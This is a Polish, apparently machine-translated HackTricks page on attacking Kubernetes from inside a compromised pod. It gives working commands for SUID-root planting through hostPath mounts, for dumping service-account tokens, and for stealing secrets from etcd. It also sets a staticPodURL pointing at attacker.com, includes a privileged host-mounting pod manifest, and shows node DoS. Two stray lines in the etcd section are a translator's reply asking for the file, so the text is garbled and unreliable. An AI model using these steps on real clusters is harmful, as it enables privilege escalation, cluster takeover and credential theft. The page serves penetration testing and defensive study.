Atak na Kubernetes z wnętrza Pod
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Pod Breakout
Jeśli będziesz miał szczęście, możesz z niego uciec na node:

Ucieczka z pod
Aby spróbować uciec z podów, może być konieczne najpierw escalate privileges — oto kilka technik:
Linux Privilege Escalation - HackTricks
Możesz sprawdzić te docker breakouts to try to escape, aby spróbować uciec z opanowanego poda:
Docker Breakout / Privilege Escalation - HackTricks
Nadużywanie zapisywalnych hostPath/bind mounts (container -> host root via SUID planting)
Jeśli opanowany pod/container ma zapisywalny wolumin, który mapuje się bezpośrednio do systemu plików hosta (Kubernetes hostPath lub Docker bind mount), i możesz zostać rootem wewnątrz container, możesz użyć tego mounta do utworzenia binarki setuid-root na hoście, a następnie uruchomić ją na hoście, aby zdobyć root.
Kluczowe warunki:
- Zamontowany wolumin jest zapisywalny z wnętrza container (readOnly: false i uprawnienia systemu plików pozwalają na zapis).
- System plików hosta obsługujący ten mount nie jest zamontowany z opcją nosuid.
- Masz sposób na wykonanie zasadzonych binarek na hoście (np. osobne SSH/RCE na hoście, użytkownik na hoście może je wykonać, lub inny wektor uruchamiający binarki z tej ścieżki).
Jak zidentyfikować zapisywalne hostPath/bind mounts:
- Za pomocą kubectl sprawdź hostPath volumes: kubectl get pod
-o jsonpath=‘{.spec.volumes[*].hostPath.path}’ - Z wnętrza container, wyświetl listę mountów i poszukaj host-path mountów oraz przetestuj zapisywalność:
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Umieść setuid root binary z containera:
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Wykonaj na hoście, aby uzyskać root:
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep
) and look for nosuid. - If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
Nadużywanie uprawnień w Kubernetes
Jak wyjaśniono w sekcji o kubernetes enumeration:
Zwykle pods są uruchamiane z service account token wewnątrz nich. Ten service account może mieć przypisane pewne privileges, które możesz abuse, aby przenieść się do innych pods lub nawet escape na nodes skonfigurowane w clusterze. Zobacz jak w:
Abusing Roles/ClusterRoles in Kubernetes
Nadużywanie uprawnień w chmurze
Jeśli pod jest uruchamiany wewnątrz cloud environment, możesz być w stanie leak a token from the metadata endpoint i eskalować uprawnienia przy jego użyciu.
Wyszukiwanie podatnych usług sieciowych
Ponieważ znajdujesz się wewnątrz Kubernetes environment, jeśli nie możesz eskalować uprawnień wykorzystując privileges bieżących pods i nie możesz escape z kontenera, powinieneś wyszukać potencjalne podatne usługi.
Services
W tym celu możesz spróbować pobrać wszystkie services środowiska kubernetes:
kubectl get svc --all-namespaces
Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że każdy pod/service w klastrze może komunikować się z innymi. namespaces w klastrze domyślnie nie mają żadnych ograniczeń bezpieczeństwa sieciowego. Każdy w namespace może komunikować się z innymi namespaces.
Skanowanie
Poniższy skrypt Bash (pochodzący z Kubernetes workshop) zainstaluje i przeskanuje zakresy IP klastra Kubernetes:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:
Pentesting Kubernetes Services
Sniffing
W przypadku, gdy skompromitowany pod uruchamia jakąś wrażliwą usługę, w której inne pody muszą się uwierzytelniać, możesz być w stanie uzyskać poświadczenia wysyłane z innych podów przez sniffing local communications.
Network Spoofing
Domyślnie techniki takie jak ARP spoofing (a dzięki temu DNS Spoofing) działają w sieci kubernetes. Następnie, wewnątrz poda, jeśli masz NET_RAW capability (która jest ustawiona domyślnie), będziesz w stanie wysyłać ręcznie przygotowane pakiety sieciowe i przeprowadzać MitM attacks via ARP Spoofing to all the pods running in the same node.\ Ponadto, jeśli złośliwy pod działa na tym samym nodzie co DNS Server, będziesz mógł przeprowadzić DNS Spoofing attack to all the pods in cluster.
Node DoS
W manifestach Kubernetes często nie określa się zasobów ani nie stosuje zakresów limitów dla kontenerów. Jako atakujący możemy zużyć wszystkie zasoby na węźle, gdzie działa pod/deployment, pozbawić inne jednostki zasobów i spowodować DoS całego środowiska.
This can be done with a tool such as stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Możesz zobaczyć różnicę między działaniem stress-ng a stanem po jego zakończeniu.
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Node Post-Exploitation
Jeśli udało ci się escape from the container znajdziesz na nodzie kilka interesujących rzeczy:
- Proces Container Runtime (Docker)
- Więcej uruchomionych na nodzie pods/containers, które możesz wykorzystać tak jak ten (więcej tokenów)
- Cały filesystem i OS w ogóle
- Usługa Kube-Proxy nasłuchująca
- Usługa Kubelet nasłuchująca. Sprawdź pliki konfiguracyjne:
- Katalog:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf–>kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Inne typowe pliki Kubernetes:
$HOME/.kube/config- User Config/etc/kubernetes/kubelet.conf- Regular Config/etc/kubernetes/bootstrap-kubelet.conf- Bootstrap Config/etc/kubernetes/manifests/etcd.yaml- etcd Configuration/etc/kubernetes/pki- Kubernetes Key
Znajdź kubeconfig nodu
Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej wymienionych ścieżek, sprawdź argument --kubeconfig procesu kubelet:
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Wykradanie sekretów
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
Skrypt can-they.sh automatycznie pobierze tokeny innych podów i sprawdzi, czy mają uprawnienia, których szukasz (zamiast sprawdzać po jednym):
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
Uprzywilejowane DaemonSety
DaemonSet to pod, który zostanie uruchomiony we wszystkich nodes klastra. W związku z tym, jeśli DaemonSet jest skonfigurowany z privileged service account, we WSZYSTKICH nodes będziesz w stanie znaleźć token tego privileged service account, którego możesz nadużyć.
Pivot do chmury
Jeśli klaster jest zarządzany przez usługę chmurową, zazwyczaj Node będzie miał inny dostęp do metadata endpoint niż Pod. Dlatego spróbuj uzyskać dostęp do metadata endpoint z poziomu Node (lub z pod z hostNetwork ustawionym na True):
Ukradnij etcd
Jeśli możesz określić nodeName Node’a, który uruchomi kontener, otwórz shell wewnątrz control-plane node i pobierz etcd database:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Węzły control-plane mają role master, a w klastrach zarządzanych w chmurze nie będziesz w stanie uruchomić na nich niczego.
Odczyt sekretów z etcd 1
Jeśli możesz uruchomić swojego poda na węźle control-plane, używając selektora nodeName w specyfikacji poda, możesz mieć łatwy dostęp do bazy danych etcd, która zawiera całą konfigurację klastra, włącznie ze wszystkimi sekretami.
Poniżej znajduje się szybki i niedokładny sposób na wydobycie sekretów z etcd, jeśli działa ono na węźle control-plane, na którym się znajdujesz. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia poda z klientem etcd etcdctl i używa poświadczeń węzła control-plane do połączenia się z etcd, gdziekolwiek ono działa, zobacz this example manifest from @mauilion.
Sprawdź, czy etcd działa na węźle control-plane i sprawdź, gdzie znajduje się baza danych (To dotyczy klastra utworzonego przez kubeadm)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
I don’t have access to that file. Please paste the markdown content of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md here, and I’ll translate it to Polish, preserving code, tags, links and paths as you specified.
data-dir=/var/lib/etcd
Wyświetl dane w bazie danych etcd:
strings /var/lib/etcd/member/snap/db | less
Wydobądź tokens z bazy danych i pokaż service account name
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
To samo polecenie, ale kilka grepsów, aby zwrócić tylko domyślny token w namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
Proszę wkleić zawartość pliku src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md — przetłumaczę go zgodnie z wytycznymi.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Odczytaj sekrety z etcd 2 from here
- Utwórz snapshot bazy danych
etcd. Sprawdź this script po więcej informacji. - Przenieś snapshot
etcdz węzła w preferowany sposób. - Rozpakuj bazę danych:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Uruchom
etcdna swojej lokalnej maszynie i ustaw, aby używał skradzionego snapshotu:
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Wymień wszystkie sekrety:
etcdctl get "" --prefix --keys-only | grep secret
- Pobierz sekrety:
etcdctl get /registry/secrets/default/my-secret
Trwałość Static/Mirrored Pods
Static Pods są zarządzane bezpośrednio przez demon kubelet na konkretnym nodzie, bez obserwacji ze strony API servera. W przeciwieństwie do Pods zarządzanych przez control plane (na przykład Deployment); zamiast tego kubelet watches each static Pod (i restartuje go, jeśli ulegnie awarii).
Dlatego static Pods są zawsze bound to one Kubelet na konkretnym nodzie.
The kubelet automatically tries to create a mirror Pod on the Kubernetes API server dla każdego static Pod. Oznacza to, że Pods uruchomione na nodzie są widoczne na API serverze, ale nie można nimi stamtąd sterować. Nazwy Podów będą miały sufiks z nazwą hosta noda poprzedzoną myślnikiem.
Caution
The
specof a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
Jeśli jesteś na hoście noda, możesz sprawić, że utworzy on static pod inside itself. To jest przydatne, ponieważ może pozwolić na create a pod in a different namespace jak na przykład kube-system.
In order to create a static pod, the docs are a great help. You basically need 2 things:
- Configure the param
--pod-manifest-path=/etc/kubernetes/manifestsin the kubelet service, or in the kubelet config (staticPodPath) and restart the service - Create the definition on the pod definition in
/etc/kubernetes/manifests
Another more stealth way would be to:
- Modify the param
staticPodURLfrom kubelet config file and set something likestaticPodURL: http://attacker.com:8765/pod.yaml. This will make the kubelet process create a static pod getting the configuration from the indicated URL.
Example of pod configuration to create a privilege pod in kube-system taken from here:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Delete pods + unschedulable nodes
Jeśli atakujący ma skompromitowany node i potrafi usunąć pods na innych node’ach oraz uniemożliwić innym node’om uruchamianie pods, to pods zostaną ponownie uruchomione na skompromitowanym node i będzie mógł przechwycić tokens uruchamiane w nich.
For więcej informacji.
Automatyczne narzędzia
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Referencje
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preserve privileges)
- mount(8) nosuid option
- Peirates (Kubernetes attack tool)
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

